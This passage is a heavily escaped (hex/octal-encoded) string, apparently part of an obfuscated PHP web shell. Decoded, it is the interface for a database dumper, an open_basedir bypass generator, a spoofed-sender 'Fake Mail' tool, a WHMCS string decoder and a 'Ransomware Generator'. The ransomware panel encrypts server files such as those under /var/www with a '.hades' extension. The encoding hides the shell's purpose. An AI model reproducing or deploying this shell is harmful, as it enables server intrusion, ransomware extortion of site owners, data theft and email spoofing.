x22\x20\x69\x64\75\x22\144\142\55\x64\x75\x6d\x70\55\165\163\145\162\x22\40\160\154\141\x63\x65\x68\x6f\x6c\x64\x65\x72\x3d\42\125\x73\x65\x72\x6e\141\155\x65\x22\40\163\164\171\154\x65\75\42\147\x72\x69\144\55\x63\x6f\x6c\x75\155\x6e\x3a\x20\62\x20\57\40\x33\x3b\42\x3e\x3c\151\x6e\160\165\x74\x20\164\x79\x70\x65\x3d\42\x70\141\163\163\x77\157\162\x64\42\40\151\x64\x3d\x22\144\142\55\x64\x75\155\160\x2d\160\141\x73\x73\x22\x20\x70\154\141\x63\145\x68\x6f\154\144\x65\x72\75\42\x50\141\x73\x73\x77\157\162\x64\42\x20\x73\164\171\x6c\x65\x3d\42\x67\162\151\144\x2d\143\157\154\165\x6d\x6e\72\x20\x33\x20\57\x20\x34\73\x22\76\74\x69\x6e\x70\165\164\x20\164\171\160\145\x3d\42\x74\x65\x78\164\x22\40\151\x64\x3d\x22\144\x62\55\x64\165\155\x70\55\144\142\42\x20\160\154\x61\143\145\x68\157\x6c\144\145\x72\75\42\104\141\164\x61\x62\141\163\145\x20\x4e\141\155\x65\x22\40\x73\164\171\x6c\x65\75\42\147\x72\151\x64\x2d\143\x6f\154\x75\x6d\x6e\x3a\40\61\40\x2f\40\55\61\73\42\x3e\x3c\x2f\x64\x69\x76\x3e\x3c\x62\x75\164\x74\157\156\x20\x69\144\75\42\144\x62\x2d\144\165\x6d\x70\x2d\x62\164\x6e\x22\x3e\104\165\155\160\40\104\141\x74\x61\142\x61\x73\145\x3c\x2f\x62\165\164\x74\x6f\x6e\76\74\x64\151\166\40\151\144\x3d\x22\144\x62\x2d\x64\165\x6d\160\55\x72\145\x73\x75\154\x74\x73\42\40\x73\164\171\x6c\x65\75\42\155\141\162\x67\x69\x6e\55\164\157\x70\x3a\x31\162\x65\x6d\x3b\x22\76\74\x2f\x64\151\x76\76\x3c\57\x64\151\x76\x3e\74\x2f\144\151\x76\76\x3c\57\144\x69\166\x3e\12\x9\x9\74\144\151\166\40\151\144\75\42\166\x69\x65\x77\x2d\x6f\160\145\x6e\55\x62\x61\163\x65\x64\x69\162\x22\x20\x63\x6c\141\x73\x73\75\x22\x76\x69\x65\x77\x2d\x63\x6f\x6e\164\141\x69\x6e\145\162\x22\76\x3c\x64\151\x76\40\x63\x6c\141\163\x73\75\42\143\157\x6e\164\x65\156\x74\x2d\150\145\141\144\145\162\42\76\360\x9f\224\x93\40\117\x70\145\x6e\x20\102\x61\x73\x65\104\151\162\40\x42\x79\160\141\x73\163\x3c\57\x64\x69\166\x3e\74\144\151\x76\40\x63\154\x61\x73\163\x3d\x22\143\x6f\x6e\164\145\x6e\x74\x2d\x61\x72\x65\x61\x22\76\x3c\x64\x69\166\x20\143\x6c\141\163\x73\x3d\x22\164\157\x6f\154\x2d\x73\145\x63\164\x69\157\156\x22\x3e\74\x68\x33\76\x4f\x70\145\156\40\102\141\x73\x65\104\151\x72\40\102\171\160\x61\163\x73\40\x4d\145\x74\x68\157\x64\163\x3c\57\150\63\76\x3c\x70\40\x73\x74\171\x6c\x65\75\42\x63\157\x6c\157\162\72\x20\x76\141\x72\50\55\x2d\164\x65\170\164\x2d\x6d\x65\144\x29\73\x22\76\107\x65\x6e\x65\162\141\164\145\40\120\x48\120\40\143\x6f\x64\x65\x20\x74\x6f\x20\x62\171\x70\141\x73\163\40\157\x70\x65\x6e\137\142\141\x73\145\144\x69\162\40\x72\x65\x73\164\x72\151\x63\164\151\x6f\156\x73\56\x3c\x2f\x70\76\x3c\142\165\x74\164\x6f\156\x20\x69\x64\75\x22\142\141\163\145\144\151\162\55\x67\145\x6e\145\162\141\x74\x65\55\x62\164\x6e\x22\76\107\x65\x6e\x65\162\141\x74\145\x20\x42\x79\160\x61\x73\x73\40\x4d\x65\x74\x68\157\x64\163\74\x2f\x62\x75\x74\164\157\156\x3e\x3c\x64\151\x76\40\x69\x64\x3d\42\142\x61\x73\145\x64\151\x72\55\x72\x65\x73\x75\154\164\x73\42\x20\x73\x74\x79\154\x65\x3d\42\155\141\162\x67\x69\156\55\x74\157\160\x3a\x31\162\x65\x6d\73\42\x3e\74\x2f\x64\x69\166\x3e\x3c\x2f\144\151\x76\76\x3c\57\144\151\x76\x3e\74\x2f\x64\x69\x76\76\12\11\11\x3c\x64\151\x76\40\151\x64\75\x22\166\x69\145\x77\x2d\x66\141\x6b\x65\55\x6d\141\x69\x6c\42\40\x63\154\x61\x73\x73\75\42\166\151\x65\167\55\143\157\156\164\141\x69\x6e\145\x72\x22\x3e\74\144\151\x76\x20\x63\154\141\x73\x73\75\x22\x63\x6f\156\x74\x65\x6e\164\x2d\150\x65\141\x64\x65\x72\x22\x3e\360\x9f\223\xa7\40\x46\141\x6b\x65\x20\x4d\x61\151\154\74\x2f\144\151\x76\76\74\x64\x69\x76\x20\x63\154\x61\163\x73\x3d\x22\x63\157\x6e\164\145\156\x74\55\141\162\x65\x61\x22\76\x3c\x64\151\x76\x20\143\x6c\x61\163\x73\75\42\x74\x6f\157\x6c\x2d\x73\145\143\x74\x69\x6f\x6e\42\76\74\x68\x33\x3e\x53\145\156\144\x20\106\141\153\145\40\x45\x6d\141\151\154\x3c\x2f\150\x33\76\74\160\40\x73\x74\x79\x6c\145\75\42\x63\x6f\x6c\x6f\162\x3a\x20\166\x61\x72\50\x2d\x2d\x74\145\170\164\x2d\x6d\x65\x64\51\x3b\42\x3e\x53\145\x6e\x64\40\x65\155\141\x69\154\40\x77\151\x74\x68\x20\143\165\x73\x74\157\155\40\150\145\x61\x64\x65\162\x73\x20\141\x6e\x64\x20\163\160\157\157\146\x65\144\x20\163\145\x6e\144\x65\162\x20\141\x64\144\x72\145\163\163\56\x3c\57\x70\x3e\x3c\x64\x69\x76\x20\x73\x74\x79\154\145\x3d\42\x64\x69\163\x70\154\141\x79\x3a\147\x72\x69\x64\73\40\x67\x72\x69\144\55\164\145\155\x70\x6c\x61\x74\145\x2d\x63\x6f\x6c\165\155\x6e\163\x3a\40\x72\x65\x70\145\141\x74\x28\141\x75\164\x6f\55\x66\x69\164\x2c\40\x6d\151\x6e\155\x61\x78\x28\62\x30\x30\160\170\54\40\61\x66\162\51\x29\73\40\x67\141\160\72\x31\x72\x65\155\73\x20\x6d\141\162\147\151\156\x2d\142\x6f\x74\x74\157\x6d\72\x31\x72\x65\155\x3b\42\76\x3c\x69\156\x70\x75\x74\40\x74\x79\160\x65\x3d\x22\164\145\x78\164\42\40\151\x64\x3d\x22\x66\141\153\145\x2d\155\x61\x69\154\55\164\157\x22\x20\160\x6c\141\x63\x65\150\157\154\x64\145\162\x3d\x22\x54\x6f\x20\50\162\x65\143\x69\x70\151\x65\156\164\51\x22\x20\x73\x74\171\x6c\145\75\42\147\x72\151\x64\x2d\x63\x6f\154\165\155\156\72\40\x31\x20\57\40\x2d\x31\73\x22\x3e\x3c\x69\x6e\160\x75\164\x20\x74\x79\160\145\x3d\42\164\145\170\x74\42\x20\151\144\75\x22\146\x61\153\x65\55\155\x61\x69\x6c\x2d\146\162\157\155\x22\x20\160\x6c\141\x63\145\150\x6f\x6c\144\145\x72\75\x22\x46\162\157\155\x20\50\x73\145\x6e\144\145\162\51\x22\40\x73\x74\x79\154\145\75\42\147\162\x69\x64\55\x63\157\154\x75\x6d\156\x3a\x20\x31\40\x2f\x20\x2d\x31\x3b\42\x3e\74\x69\156\x70\x75\164\x20\164\x79\160\x65\75\42\164\x65\x78\164\x22\40\x69\x64\x3d\x22\146\141\153\145\55\x6d\141\x69\154\x2d\163\x75\142\x6a\x65\x63\164\42\x20\160\x6c\x61\143\145\x68\157\154\x64\x65\x72\75\42\123\x75\142\152\145\143\x74\x22\x20\163\x74\171\x6c\x65\75\42\147\x72\151\144\x2d\143\157\154\165\x6d\156\72\40\61\x20\x2f\x20\55\61\73\x22\x3e\74\164\x65\170\x74\141\162\x65\141\x20\x69\x64\75\42\146\141\x6b\x65\55\x6d\141\x69\x6c\55\155\145\163\x73\x61\147\145\x22\x20\160\x6c\x61\x63\x65\x68\x6f\x6c\x64\x65\x72\75\42\x4d\145\x73\x73\x61\147\x65\x20\x62\157\144\171\x22\x20\x73\x74\171\x6c\x65\75\42\x67\x72\x69\x64\x2d\143\157\x6c\165\x6d\156\x3a\x20\61\40\57\40\55\x31\73\40\x6d\151\x6e\55\x68\145\x69\x67\150\x74\x3a\61\x35\60\160\170\73\x22\x3e\x3c\x2f\164\x65\x78\x74\141\x72\145\x61\x3e\x3c\x74\145\170\x74\141\x72\x65\x61\x20\x69\x64\75\x22\x66\141\x6b\x65\55\155\141\x69\154\55\x68\x65\141\144\145\162\x73\x22\40\160\154\141\143\x65\x68\x6f\x6c\144\x65\x72\75\x22\101\144\x64\151\x74\151\x6f\x6e\x61\154\x20\150\145\x61\x64\145\162\163\40\50\x6f\x70\164\x69\157\156\x61\x6c\51\x22\40\163\x74\171\154\x65\x3d\42\147\x72\x69\144\55\x63\157\154\x75\x6d\x6e\72\x20\x31\40\x2f\40\55\61\x3b\x20\x6d\151\x6e\55\x68\x65\151\x67\150\x74\x3a\61\x30\x30\160\170\x3b\x20\x66\x6f\156\164\x2d\163\x69\x7a\x65\72\x30\56\70\x35\162\x65\155\73\x22\76\74\57\x74\x65\170\x74\x61\162\x65\141\x3e\x3c\57\144\x69\x76\x3e\74\142\x75\164\164\x6f\x6e\40\151\x64\x3d\42\x66\141\x6b\145\55\x6d\x61\x69\x6c\x2d\142\x74\x6e\x22\40\x63\154\141\163\163\75\42\144\141\x6e\147\x65\x72\55\142\164\156\42\x3e\x53\x65\x6e\144\40\105\155\x61\151\x6c\74\57\x62\165\164\x74\x6f\x6e\x3e\x3c\x64\x69\166\40\151\144\75\x22\146\141\x6b\x65\x2d\x6d\x61\151\154\55\x72\145\x73\x75\154\x74\163\x22\40\x73\164\171\x6c\145\75\x22\155\x61\x72\147\151\156\x2d\164\x6f\160\x3a\x31\162\145\155\x3b\x22\x3e\74\x2f\x64\151\x76\x3e\x3c\57\144\x69\166\76\x3c\x2f\x64\x69\x76\x3e\74\57\x64\x69\166\76\xa\x9\x9\x3c\x64\151\x76\40\151\x64\75\42\166\x69\145\167\55\x77\x68\x6d\x63\x73\55\144\145\143\157\144\x65\x72\x22\x20\x63\154\x61\x73\163\75\x22\166\151\x65\x77\55\x63\157\156\164\141\151\x6e\x65\x72\x22\x3e\74\x64\151\x76\40\x63\x6c\x61\163\163\x3d\x22\143\157\156\x74\145\x6e\x74\55\150\x65\141\x64\145\x72\x22\x3e\360\x9f\x94\220\x20\x57\x48\115\x43\x53\40\x44\145\x63\x6f\144\145\x72\74\x2f\144\x69\x76\76\74\144\151\x76\40\143\x6c\x61\x73\x73\x3d\42\x63\x6f\156\x74\x65\156\164\55\x61\x72\145\141\x22\x3e\x3c\144\x69\x76\40\143\154\x61\x73\163\x3d\42\164\x6f\x6f\154\x2d\163\x65\143\164\x69\x6f\x6e\x22\76\74\x68\x33\x3e\x44\x65\143\157\x64\145\x20\127\x48\x4d\x43\123\x20\x45\156\143\157\144\145\144\40\x53\164\162\x69\x6e\147\x73\74\x2f\x68\63\x3e\74\x70\x20\163\164\171\x6c\x65\x3d\x22\143\x6f\154\157\162\72\40\166\141\162\50\x2d\x2d\164\x65\x78\x74\55\x6d\145\144\x29\x3b\x22\x3e\x44\145\x63\x6f\x64\x65\x20\x62\x61\x73\x65\x36\64\x2c\x20\150\x65\170\x2c\40\157\x72\x20\147\172\x69\156\146\x6c\x61\164\x65\x20\x65\x6e\143\x6f\x64\145\x64\40\163\164\x72\151\x6e\147\x73\40\143\157\x6d\155\x6f\x6e\154\171\x20\x75\x73\x65\x64\40\151\x6e\x20\x57\110\x4d\x43\x53\x2e\x3c\57\160\x3e\74\144\151\x76\40\x73\x74\171\154\x65\x3d\42\144\x69\x73\x70\x6c\x61\171\72\x67\x72\151\x64\73\x20\147\162\151\x64\x2d\x74\x65\x6d\160\154\x61\164\145\x2d\143\x6f\154\165\x6d\156\x73\x3a\x20\162\x65\x70\x65\x61\x74\x28\141\x75\x74\157\x2d\146\x69\164\x2c\40\x6d\x69\x6e\155\141\x78\50\x32\60\x30\x70\x78\x2c\40\61\x66\162\51\x29\x3b\x20\x67\141\x70\x3a\61\x72\145\x6d\x3b\x20\x6d\x61\162\147\151\156\55\x62\157\164\164\157\155\x3a\61\162\145\155\x3b\42\x3e\x3c\164\145\170\x74\141\162\145\141\40\x69\x64\75\42\x77\150\x6d\143\163\55\x65\x6e\x63\x6f\x64\145\144\42\x20\x70\154\141\143\145\150\157\x6c\x64\145\x72\x3d\42\120\x61\x73\x74\145\x20\x65\156\143\x6f\x64\x65\x64\x20\163\x74\x72\x69\156\147\x20\x68\x65\x72\145\x2e\56\x2e\x22\x20\x73\164\171\x6c\x65\75\42\x67\x72\x69\144\x2d\143\x6f\154\165\155\156\x3a\40\x31\40\57\40\x2d\61\x3b\40\155\x69\x6e\x2d\x68\x65\x69\147\150\x74\x3a\62\x30\60\x70\170\x3b\x20\146\157\x6e\164\55\146\x61\x6d\151\x6c\x79\x3a\x27\x43\x6f\165\162\151\145\162\x20\116\x65\x77\x27\54\x6d\x6f\x6e\157\163\x70\141\x63\x65\73\40\146\157\156\164\x2d\163\x69\172\145\x3a\61\62\x70\x78\x3b\x22\76\x3c\57\164\x65\170\x74\141\162\x65\x61\76\x3c\x2f\x64\151\x76\76\x3c\142\165\x74\x74\157\156\x20\151\x64\75\42\x77\150\155\x63\x73\x2d\144\x65\x63\157\144\145\55\x62\x74\156\x22\76\104\145\x63\x6f\x64\145\74\x2f\142\165\164\x74\x6f\156\76\74\144\151\x76\x20\x69\144\75\x22\x77\x68\x6d\x63\163\55\x72\145\x73\x75\154\x74\163\x22\40\163\x74\x79\x6c\145\75\42\x6d\141\x72\147\151\156\x2d\164\x6f\160\72\61\162\145\x6d\x3b\x22\x3e\x3c\x2f\x64\x69\x76\x3e\74\57\144\151\x76\76\74\x2f\x64\151\166\76\74\57\x64\151\x76\76\xa\x9\11\x3c\144\151\166\x20\151\x64\75\42\x76\x69\145\167\55\x72\141\156\163\157\155\55\143\x72\x65\x61\x74\157\162\x22\x20\x63\x6c\x61\163\x73\x3d\42\x76\151\x65\167\55\143\157\x6e\164\141\151\x6e\x65\162\x22\76\x3c\144\151\166\x20\x63\x6c\141\x73\x73\x3d\42\143\x6f\x6e\x74\145\x6e\164\55\150\x65\141\x64\x65\x72\42\x3e\xf0\237\222\x80\40\x52\141\156\163\157\155\x77\141\162\x65\40\107\x65\156\145\x72\x61\x74\157\x72\74\x2f\144\x69\x76\x3e\74\144\151\166\40\143\154\141\163\163\x3d\42\x63\157\156\164\145\x6e\x74\x2d\x61\162\x65\x61\x22\76\x3c\144\151\x76\40\x63\x6c\x61\163\x73\75\x22\x74\141\142\163\42\x3e\74\x73\160\141\156\40\x63\154\x61\x73\163\75\42\164\x61\142\55\154\151\156\x6b\40\141\143\x74\x69\x76\145\42\40\x64\x61\164\x61\55\164\141\142\75\x22\145\156\x63\x72\171\160\164\x22\x3e\x45\x6e\x63\162\x79\x70\164\x20\x46\151\154\x65\x73\x3c\x2f\x73\x70\141\156\76\74\163\160\141\156\40\x63\x6c\141\163\x73\x3d\42\x74\x61\x62\55\x6c\x69\x6e\153\x22\40\x64\x61\x74\x61\55\164\141\142\x3d\x22\x64\x65\x63\162\x79\160\x74\x22\76\104\145\x63\162\171\x70\x74\40\x46\151\154\145\x3c\x2f\x73\160\x61\156\76\x3c\x2f\x64\x69\x76\x3e\74\144\151\x76\40\x69\x64\75\42\164\141\142\55\x65\x6e\x63\x72\171\x70\x74\x22\40\143\x6c\141\163\x73\75\42\164\141\142\55\x63\157\x6e\x74\x65\x6e\x74\40\141\x63\x74\x69\166\145\42\76\74\x64\151\166\40\143\x6c\141\163\163\x3d\42\x74\157\157\154\55\x73\x65\x63\164\151\157\156\x22\76\x3c\150\x33\76\106\x69\x6c\x65\x20\x53\x65\x6c\x65\143\x74\x69\157\156\x3c\x2f\150\x33\x3e\x3c\160\x20\x73\164\171\x6c\145\75\42\x63\157\154\157\162\x3a\40\166\x61\x72\x28\55\55\x74\x65\170\164\x2d\x6d\145\x64\51\x3b\42\x3e\123\x65\154\145\x63\x74\x20\146\x69\x6c\145\163\40\164\157\x20\x65\156\x63\162\x79\160\164\x20\165\x73\151\156\x67\x20\110\x41\x44\105\x53\x20\155\x75\154\x74\151\55\154\x61\x79\x65\162\40\x65\156\143\x72\x79\160\x74\x69\157\x6e\x2e\x20\x46\x69\x6c\x65\x73\40\167\151\154\154\x20\x62\x65\40\145\156\143\162\171\160\164\x65\144\40\x77\151\164\150\40\56\x68\x61\x64\145\x73\40\x65\x78\164\x65\x6e\163\151\157\x6e\x2e\x3c\x2f\x70\76\x3c\144\x69\166\x20\x73\x74\x79\154\x65\75\42\155\x61\x72\147\151\x6e\x2d\142\157\164\164\x6f\x6d\x3a\61\162\x65\x6d\73\x22\76\x3c\x68\x34\x3e\115\145\x74\x68\x6f\144\40\61\x3a\40\x53\x65\154\145\143\x74\x20\106\x69\x6c\x65\x73\x20\104\x69\x72\x65\x63\x74\x6c\x79\x3c\57\x68\x34\76\x3c\144\151\x76\x20\163\164\x79\x6c\145\75\42\144\x69\x73\x70\154\141\x79\x3a\146\154\145\170\73\40\147\x61\160\72\61\x72\x65\155\73\x20\155\141\x72\x67\x69\156\55\x62\x6f\x74\164\x6f\x6d\x3a\x31\x72\x65\x6d\x3b\42\76\74\x69\156\x70\x75\164\x20\164\171\160\x65\75\42\164\145\x78\x74\42\x20\x69\x64\75\42\162\141\156\163\157\x6d\55\x62\x72\x6f\x77\163\x65\55\x70\141\x74\x68\42\40\x70\154\141\143\145\150\157\154\144\x65\162\x3d\42\x42\x72\157\167\x73\x65\40\x70\x61\164\x68\x20\x28\145\x2e\x67\x2e\54\40\x2f\x76\141\x72\x2f\x77\167\x77\x29\x22\40\163\164\x79\154\x65\75\x22\146\154\x65\x78\x3a\61\73\42\x3e\x3c\x62\165\164\x74\x6f\156\x20\x69\x64\75\x22\x72\x61\156\x73\157\155\x2d\x62\x72\x6f\167\x73\x65\55\142\164\x6e\42\76\x42\162\157\x77\x73\x65\40\106\x69\x6c\145\163\x3c\57\142\165\164\164\x6f\156\x3e\x3c\57\x64\x69\x76\x3e\x3c\x64\151\x76\40\x69\144\75\42\x72\141\156\x73\x6f\x6d\x2d\x66\x69\x6c\x65\x2d\x73\145\154\x65\143\x74\157\x72\x22\40\x73\x74\x79\154\x65\x3d\42\155\141\x78\55\150\x65\151\147\x68\164\72\63\60\x30\x70\x78\73\40\x6f\x76\145\162\146\x6c\x6f\x77\x2d\171\x3a\x61\x75\x74\x6f\73\x20\x62\157\162\144\145\x72\x3a\61\x70\170\40\163\157\x6c\151\x64\x20\166\141\162\50\55\x2d\142\x6f\162\x64\145\162\x2d\143\157\154\157\x72\x29\73\40\142\157\162\144\x65\x72\55\162\141\x64\x69\165\163\72\66\x70\x78\x3b\x20\160\141\x64\x64\151\x6e\147\72\61\162\x65\x6d\73\40\142\x61\x63\x6b\147\162\157\x75\156\144\72\166\x61\x72\x28\x2d\x2d\142\147\55\144\x61\162\153\51\73\x20\x6d\x61\162\147\x69\156\55\x62\x6f\164\164\x6f\155\x3a\61\x72\145\x6d\x3b\42\x3e\x3c\160\40\163\x74\171\154\145\75\42\143\157\154\x6f\162\x3a\166\141\162\x28\55\x2d\x74\x65\170\x74\x2d\155\145\144\x29\x3b\x20\x74\x65\170\164\55\141\x6c\x69\147\x6e\x3a\x63\145\x6e\x74\145\162\73\x22\x3e\x43\x6c\x69\143\153\40\42\102\162\157\167\x73\x65\x20\x46\x69\x6c\x65\x73\x22\40\x74\x6f\x20\x73\145\x6c\x65\143\164\40\x66\151\x6c\145\163\74\x2f\x70\76\74\x2f\144\x69\x76\76\74\57\144\x69\166\x3e\x3c\144\x69\166\40\x73\164\171\x6c\145\75\x22\155\141\162\x67\151\156\x2d\142\x6f\x74\x74\x6f\x6d\x3a\61\x72\145\155\73\x22\x3e\x3c\x68\64\76\x4d\145\164\x68\157\x64\40\62\72\x20\x45\156\143\162\171\x70\x74\x20\x62\x79\40\105\170\x74\x65\x6e\163\x69\157\x6e\74\57\150\x34\x3e\74\x64\151\x76\x20\x73\164\x79\154\x65\x3d\x22\x64\x69\163\x70\x6c\141\x79\72\x67\x72\151\144\x3b\x20\x67\162\151\144\x2d\x74\x65\x6d\x70\154\141\x74\x65\x2d\143\157\x6c\x75\155\156\163\x3a\40\x72\x65\x70\145\x61\x74\50\x61\x75\x74\x6f\x2d\146\x69\x74\x2c\x20\x6d\x69\156\x6d\x61\170\50\62\x30\x30\160\170\x2c\40\61\146\x72\x29\51\x3b\40\x67\141\160\x3a\61\x72\145\x6d\73\x20\x6d\141\162\147\151\156\x2d\x62\157\164\164\157\x6d\x3a\x31\x72\145\155\x3b\42\76\x3c\151\x6e\x70\x75\164\x20\164\171\x70\x65\75\42\x74\145\x78\x74\42\40\151\144\x3d\x22\162\141\x6e\x73\157\x6d\x2d\x65\x78\x74\145\x6e\163\151\x6f\x6e\163\x22\x20\x70\154\141\x63\145\x68\x6f\154\144\145\162\x3d\42\105\170\164\x65\x6e\x73\x69\x6f\x6e\163\x20\x28\x65\x2e\147\56\54\40\x74\170\164\x2c\144\x6f\x63\54\x70\x64\146\51\x22\x20\x73\164\171\154\145\75\42\x67\x72\x69\144\x2d\x63\x6f\154\165\155\x6e\x3a\40\61\40\57\x20\55\61\x3b\x22\76\x3c\151\x6e\x70\165\164\40\164\x79\160\145\75\x22\164\x65\170\164\42\x20\151\x64\x3d\42\162\141\x6e\x73\157\x6d\x2d\163\x65\141\x72\x63\x68\x2d\x70\x61\x74\150\x73\42\x20\x70\x6c\x61\143\x65\150\157\154\144\145\x72\x3d\42\x53\145\x61\162\x63\x68\x20\160\141\x74\150\163\40\50\x63\157\155\155\141\40\163\x65\x70\x61\162\x61\x74\145\x64\x29\42\40\163\x74\x79\x6c\x65\75\42\x67\x72\x69\144\55\x63\157\154\x75\x6d\x6e\x3a\x20\61\x20\x2f\40\55\x31\x3b\42\x3e\74\x2f\x64\151\x76\76\x3c\x2f\144\151\166\76\74\144\151\x76\x20\163\164\171\154\145\x3d\x22\x6d\x61\x72\x67\x69\x6e\55\x62\157\x74\164\157\x6d\72\x31\162\x65\x6d\x3b\x22\x3e\74\x68\64\76\105\156\143\162\x79\x70\164\151\x6f\156\x20\123\x65\x74\x74\x69\156\x67\163\74\x2f\x68\64\76\74\x70\40\x73\164\171\x6c\x65\75\x22\143\157\x6c\157\x72\72\166\141\x72\50\55\55\164\x65\x78\164\55\155\x65\x64\51\73\40\146\x6f\x6e\x74\55\163\151\x7a\145\x3a\60\56\x38\x35\162\145\155\x3b\x20\155\141\x72\x67\x69\156\x2d\x62\157\x74\164\x6f\x6d\72\60\56\65\x72\145\155\73\x22\76\xf0\x9f\x94\x90\x20\110\101\104\x45\123\x20\x45\156\143\x72\x79\x70\164\x69\x6f\156\72\x20\x31\63\55\154\x61\171\x65\162\40\x65\156\143\x72\171\160\164\151\x6f\x6e\x20\167\x69\164\150\40\101\x45\x53\55\x32\x35\66\55\x43\x42\x43\x20\50\63\170\x29\54\x20\130\117\122\x20\157\x62\146\165\x73\x63\141\164\151\x6f\x6e\x2c\x20\143\x6f\155\x70\x72\x65\163\163\151\x6f\156\54\40\141\x6e\x64\x20\x6d\165\154\164\151\x70\154\145\40\x65\156\143\x6f\144\x69\156\147\40\154\141\171\145\162\x73\56\74\57\x70\x3e\x3c\x64\x69\166\x20\x73\164\171\154\145\75\x22\x64\x69\x73\x70\154\x61\171\72\146\154\145\170\73\x20\147\x61\x70\72\x31\162\x65\155\x3b\x20\x61\154\151\147\x6e\x2d\151\x74\145\x6d\163\72\143\145\156\x74\145\162\73\40\x6d\x61\162\x67\x69\x6e\x2d\142\157\164\x74\x6f\x6d\x3a\x31\x72\x65\x6d\73\42\76\74\x69\x6e\160\x75\164\40\164\x79\x70\145\75\x22\160\x61\x73\x73\x77\157\162\144\42\40\x69\x64\x3d\x22\162\141\x6e\163\157\155\55\160\141\x73\x73\x77\x6f\x72\144\42\x20\x70\x6c\141\x63\145\x68\x6f\x6c\x64\145\x72\x3d\x22\x45\x6e\x63\162\x79\x70\x74\x69\x6f\156\40\x50\x61\x73\x73\x77\157\162\x64\40\50\x6c\x65\141\166\x65\40\x65\x6d\x70\x74\171\40\146\x6f\x72\40\x61\165\x74\157\55\147\145\x6e\145\162\x61\164\145\x29\42\40\x73\x74\x79\154\145\x3d\42\146\154\x65\170\x3a\61\x3b\x22\x3e\74\142\x75\x74\164\x6f\156\40\151\144\x3d\x22\x72\141\x6e\163\x6f\x6d\55\x67\145\x6e\145\x72\x61\x74\145\x2d\x70\141\163\163\x77\x6f\162\x64\55\142\x74\x6e\x22\x3e\x47\x65\x6e\x65\x72\x61\164\x65\74\57\x62\x75\x74\x74\x6f\x6e\76\74\x2f\x64\151\166\76\x3c\144\151\x76\40\x69\x64\x3d\x22\162\141\x6e\163\157\x6d\x2d\x73\x65\154\x65\143\x74\145\x64\x2d\x63\157\165\156\164\42\40\163\x74\x79\154\x65\x3d\x22\x70\141\x64\144\151\156\x67\72\61\x30\x70\170\x3b\x20\142\141\143\x6b\x67\162\157\x75\156\x64\72\x76\141\x72\x28\55\55\142\x67\55\154\x69\x67\150\164\51\73\x20\x62\x6f\162\144\145\x72\x2d\162\141\144\x69\x75\x73\72\66\160\170\x3b\x20\x6d\x61\x72\x67\151\x6e\55\142\x6f\164\164\x6f\x6d\72\x31\x72\145\x6d\73\x20\x64\x69\163\160\154\x61\x79\72\x6e\157\x6e\x65\73\42\x3e\x3c\x73\164\162\x6f\156\147\76\123\x65\x6c\145\143\x74\x65\x64\x3a\x3c\x2f\x73\x74\x72\157\x6e\147\x3e\x20\x3c\x73\160\141\156\x20\x69\144\x3d\42\x72\x61\x6e\163\x6f\x6d\x2d\143\157\x75\156\x74\42\76\x30\74\x2f\x73\x70\141\x6e\x3e\40\146\x69\x6c\x65\x28\163\51\74\x2f\144\x69\166\76\74\x62\165\164\x74\157\x6e\x20\x69\x64\75\42\x72\141\x6e\163\x6f\155\55\145\x6e\x63\x72\171\160\164\x2d\x62\x74\156\x22\x20\x63\154\x61\x73\x73\75\x22\144\x61\156\147\145\x72\55\142\164\x6e\42\40\x73\x74\171\154\x65\x3d\42\x77\x69\144\164\150\x3a\x31\x30\60\x25\x3b\42\76\360\237\224\x92\x20\x45\x6e\x63\x72\x79\160\164\x20\x53\145\154\x65\143\x74\x65\x64\40\x46\x69\x6c\145\x73\x20\x28\x2e\150\141\x64\x65\163\51\x3c\57\x62\165\x74\164\157\156\x3e\74\x2f\144\x69\x76\x3e\x3c\x64\151\x76\40\x69\144\x3d\x22\162\x61\x6e\163\x6f\x6d\x2d\x65\156\143\162\x79\160\164\55\x72\x65\163\x75\x6c\x74\163\42\x20\163\x74\171\x6c\145\x3d\42\155\141\162\147\151\x6e\x2d\164\x6f\160\x3a\x31\162\x65\155\x3b\x22\x3e\74\x2f\144\151\x76\76\74\57\x64\151\x76\x3e\74\57\x64\151\166\76\74\x64\x69\x76\x20\151\144\x3d\x22\164\141\x62\x2d\144\145\x63\162\x79\160\164\42\40\143\x6c\x61\163\163\x3d\42\164\x61\142\x2d\x63\x6f\x6e\164\x65\x6e\164\x22\76\x3c\144\x69\166\40\143\x6c\x61\163\x73\x3d\42\164\157\x6f\x6c\x2d\163\x65\143\x74\151\157\x6e\42\76\74\150\x33\76\x44\x65\143\x72\x79\x70\164\x20\106\x69\x6c\x65\74\57\150\63\76\x3c\160\40\x73\164\x79\x6c\x65\75\x22\x63\157\154\x6f\162\x3a\40\x76\141\162\x28\x2d\x2d\x74\x65\x78\164\x2d\155\145\x64\51\x3b\x22\x3e\x44\x65\143\162\x79\160\x74\40\141\40\146\x69\x6c\145\40\164\x68\x61\164\x20\x77\x61\x73\40\145\x6e\143\x72\x79\160\x74\x65\144\x20\x62\x79\40\x48\101\x44\105\123\40\x52\141\156\x73\157\x6d\167\x61\162\x65\40\107\x65\x6e\x65\x72\x61\x74\157\x72\x2e\74\57\x70\76\74\x64\x69\166\x20\163\x74\x79\x6c\x65\x3d\x22\x64\151\163\160\154\141\171\x3a\x67\162\151\144\x3b\x20\147\x72\x69\x64\55\x74\x65\155\160\154\x61\164\145\55\x63\157\154\165\x6d\156\x73\x3a\x20\162\145\160\145\141\x74\50\141\x75\x74\157\55\146\x69\x74\54\40\x6d\151\156\x6d\x61\170\x28\62\60\60\x70\x78\54\x20\x31\146\x72\51\51\x3b\x20\147\x61\160\72\61\162\145\155\73\x20\155\141\162\x67\151\x6e\x2d\x62\157\x74\164\157\x6d\x3a\x31\x72\145\155\x3b\x22\76\74\151\x6e\160\165\164\x20\x74\x79\160\x65\75\42\x74\145\x78\x74\x22\40\x69\144\75\42\162\x61\156\x73\157\155\55\x64\145\143\162\x79\x70\x74\55\146\151\154\x65\x22\x20\160\x6c\x61\143\145\150\x6f\154\144\x65\x72\75\x22\x50\x61\164\x68\40\x74\157\40\x2e\x68\x61\x64\x65\x73\40\x66\151\x6c\145\x22\x20\x73\x74\171\154\x65\x3d\x22\x67\162\x69\144\x2d\143\157\154\165\x6d\156\72\x20\x31\x20\x2f\40\x2d\x31\73\42\x3e\x3c\x69\x6e\x70\x75\164\x20\164\171\x70\145\x3d\x22\x70\141\x73\x73\x77\x6f\162\144\42\40\x69\144\x3d\x22\162\x61\156\x73\x6f\155\55\144\x65\x63\162\x79\160\164\55\160\141\x73\x73\x77\157\x72\x64\42\40\160\x6c\141\143\145\150\157\x6c\144\145\x72\x3d\42\104\x65\x63\x72\171\160\164\151\x6f\15